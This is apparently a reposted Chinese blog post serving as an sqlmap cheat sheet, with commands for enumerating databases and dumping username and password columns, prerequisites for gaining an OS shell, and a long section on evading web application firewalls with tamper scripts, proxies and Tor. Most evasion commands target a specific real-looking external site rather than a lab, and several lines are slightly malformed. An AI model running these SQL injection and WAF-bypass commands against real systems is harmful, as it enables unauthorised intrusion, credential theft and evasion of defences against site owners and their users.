sqlmap的使用


參數

-u URL, --url=URL 目標爲 URL (例如. “http://www.site.com/vuln.php?id=1”)
-g GOOGLEDORK 將谷歌dork的結果作爲目標url
請求:
這些選項可用於指定如何連接到目標URL
–data=DATA 數據字符串通過POST發送
–cookie=COOKIE HTTP Cookie的值
–random-agent 隨機選擇 HTTP User-Agent 頭的值
–proxy=PROXY 使用代理去連接目標URL
–tor 使用匿名網絡
–check-tor 檢查Tor是否正確使用
注入:
這些選項可用於指定要測試哪些參數,提供自定義注入負載和可選篡改腳本
-p TESTPARAMETER 可測試的參數
–dbms=DBMS 將後端DBMS強制到此值
檢測:
這些選項可用於定製檢測階段
–level=LEVEL 執行的測試級別(1-5, 默認 1)
–risk=RISK 執行測試的風險 (1-3, 默認 1)
技術:
這些選項可用於調整特定SQL注入的測試的技術
–technique=TECH SQL注入技術選擇 (默認 “BEUSTQ”)
枚舉:
T這些選項可用於枚舉後端數據庫管理系統的信息、結構和數據表。此外,還可以運行自己的SQL語句
-a, --all 檢索全部
-b, --banner 檢索 banner
–current-user 檢索當前用戶
–current-db 檢索當前數據庫
–passwords 列出用戶密碼的hash值
–tables 列出表
–columns 列出字段
–schema 列出DBMS schema
–dump Dump DBMS數據庫表的條目
–dump-all Dump 所有DBMS數據庫表的條目
-D DB 指定數據庫
-T TBL 指定表
-C COL 指定字段
操作系統訪問:
這些選項可用於訪問後端數據庫管理系統底層操作系統
–os-shell 提示爲交互式操作系統shell
–os-pwn 提示爲OOB外殼,Meterpreter或VNC
通用:
這些選項可用於設置一些通用的工作參數
–batch 永遠不要要求用戶輸入,使用默認行爲
–flush-session 刷新當前目標的會話文件
雜項:
–sqlmap-shell 提示輸入交互式sqlmap shell
–wizard 初學者的簡單向導界面
–user-agent,–random-agent

默認情況下sqlmap的HTTP請求頭中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

可以使用–user-agent參數來修改,同時也可以使用–random-agnet參數來隨機的從./txt/user-agents.txt中獲取。


2.獲取數據庫

python sqlmap.py -u URL --dbs --batch 獲取全部數據庫

python sqlmap.py -u URL --current-db --batch 獲取當前數據庫

3.獲取當前數據庫裏所有表

python sqlmap.py -u URL -D wavsepDB --tables --batch

4.獲取表的字段

python sqlmap.py -u URL -D wavsepDB -T users --columns --batch

5.dump字段內容

python sqlmap.py -u URL -D wavsepDB -T users -C “password,username” --dump --batch

如果字段內容多的話可以再加上如 --start 1 --stop 100 這樣就取1-100條數據

–dump 可以換成 --dump-all則導出全部的內容
eg: sqlmap.py -r sqlblind.txt -D MYDATABASE –tables –random-agent –keep-alive


–os-shell
(1)網站必須是root權限

(2)攻擊者需要知道網站的絕對路徑

(3)GPC爲off,php主動轉義的功能關閉

(4)secure_file_priv爲空


post請求
post請求

-r 使用burp下載的文件來測試


繞過waf

檢測waf

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10 --identify-waf#首選

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10  --check-waf#備選

使用參數繞過

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent -v 2 #使用任意瀏覽器進行繞過,尤其是在WAF配置不當的時候

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --hpp -v 3#使用HTTP 參數污染進行繞過,尤其是在ASP.NET/IIS 平臺上

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --time-sec=60 #使用長的延時來避免觸發WAF的機制,這方式比較耗時

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --proxy=211.211.211.211:8080 --proxy-cred=211:985#使用代理進行注入

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --ignore-proxy#禁止使用系統的代理,直接連接進行注入

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --flush-session#清空會話,重構注入

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --hex#或者使用參數 --no-cast ,進行字符碼轉換

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  --mobile #對移動端的服務器進行注入

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --tor # 匿名注入

使用腳本繞過

1 使用格式:
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --tamper=A.py,B.py   #腳本A,腳本B 

2 腳本總類
01 apostrophemask.py#用utf8代替引號;Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

02 equaltolike.py#MSSQL * SQLite中like 代替等號;Example:  Input: SELECT * FROM users WHERE id=1 ;Output: SELECT * FROM users WHERE id LIKE 1

03 greatest.py#MySQL中繞過過濾’>’ ,用GREATEST替換大於號;Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A'

04 space2hash.py#空格替換爲#號 隨機字符串 以及換行符;Input: 1 AND 9227=9227;Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

05 apostrophenullencode.py#MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL繞過過濾雙引號,替換字符和雙引號;

06 halfversionedmorekeywords.py#當數據庫爲mysql時繞過防火牆,每個關鍵字之前添加mysql版本評論;

07 space2morehash.py#MySQL中空格替換爲 #號 以及更多隨機字符串 換行符;

08 appendnullbyte.py#Microsoft Access在有效負荷結束位置加載零字節字符編碼;Example: ('1 AND 1=1') '1 AND 1=1%00'

09 ifnull2ifisnull.py#MySQL,SQLite (possibly),SAP MaxDB繞過對 IFNULL 過濾。 替換類似’IFNULL(A, B)’爲’IF(ISNULL(A), B, A)’

10 space2mssqlblank.py(mssql)#mssql空格替換爲其它空符號

11base64encode.py#用base64編碼j Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all

12 space2mssqlhash.py#mssql查詢中替換空格

13 modsecurityversioned.py#(mysql中過濾空格,包含完整的查詢版本註釋;Example: ('1 AND 2>1--') '1 /*!30874AND 2>1*/--'

14 space2mysqlblank.py#(mysql中空格替換其它空白符號

15 between.py#MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替換大於號(>)

16 space2mysqldash.py#MySQL,MSSQL替換空格字符(”)(’ – ‘)後跟一個破折號註釋一個新行(’ n’)

17 multiplespaces.py#圍繞SQL關鍵字添加多個空格;Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar'

18 space2plus.py#用+替換空格;Example: ('SELECT id FROM users') 'SELECT+id+FROM+users'

19 bluecoat.py#MySQL 5.1, SGOS代替空格字符後與一個有效的隨機空白字符的SQL語句。 然後替換=爲like

20 nonrecursivereplacement.py#雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters

21 space2randomblank.py#代替空格字符(“”)從一個隨機的空白字符可選字符的有效集

22 sp_password.py#追加sp_password’從DBMS日誌的自動模糊處理的26 有效載荷的末尾

23 chardoubleencode.py#雙url編碼(不處理以編碼的)

24 unionalltounion.py#替換UNION ALL SELECT UNION SELECT;Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'

25 charencode.py#Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url編碼;

26 randomcase.py#Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中隨機大小寫

27 unmagicquotes.py#寬字符繞過 GPC addslashes;Example: * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20

28 randomcomments.py#用/**/分割sql關鍵字;Example:‘INSERT’ becomes ‘IN//S//ERT’

29 charunicodeencode.py#ASP,ASP.NET中字符串 unicode 編碼;

30 securesphere.py#追加特製的字符串;Example: ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"

31 versionedmorekeywords.py#MySQL >= 5.1.13註釋繞過

32 space2comment.py#Replaces space character (‘ ‘) with comments ‘/**/’

33 halfversionedmorekeywords.py#MySQL < 5.1中關鍵字前加註釋



0x04腳本參數組合策略繞過
1 mysql繞過:
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent -v 2 -delay=3.5 --tamper=space2hash.py,modsecurityversioned.py

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent --hpp  --tamper=space2mysqldash.p,versionedmorekeywords.py

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  -delay=3.5  ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=apostrophemask.py,equaltolike.py

備註:這些組合策略可以根據注入的反饋信息,及時調整組合策略

MSSQL:

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  -delay=3.5  ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=randomcase.py,charencode.py

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  --delay=3.5 --hpp --tamper=space2comment.py,randomcase.py
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  --delay=3.5 --time-sec=120  --tamper=space2mssqlblank.py,securesphere.py

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  --delay=3.5 --tamper=unionalltounion.py,base64encode.p

ms access:

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  --delay=3.5 --random-agent  --tamper=appendnullbyte.py,space2plus.py

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  --delay=3.5 --random-agent --hpp  --tamper=chardoubleencode.py

Oracle:

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  --delay=5 --random-agent --hpp --tamper=unmagicquotes.py,unionalltounion.py

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"  --delay=5--user-agent =“Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0” --hpp --tamper=charunicodeencode.py,chardoubleencode.py

參考鏈接
參考鏈接
參考鏈接
參考鏈接
繞過WAF
腳本作用

發佈了31 篇原創文章 · 獲贊 19 · 訪問量 3065
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章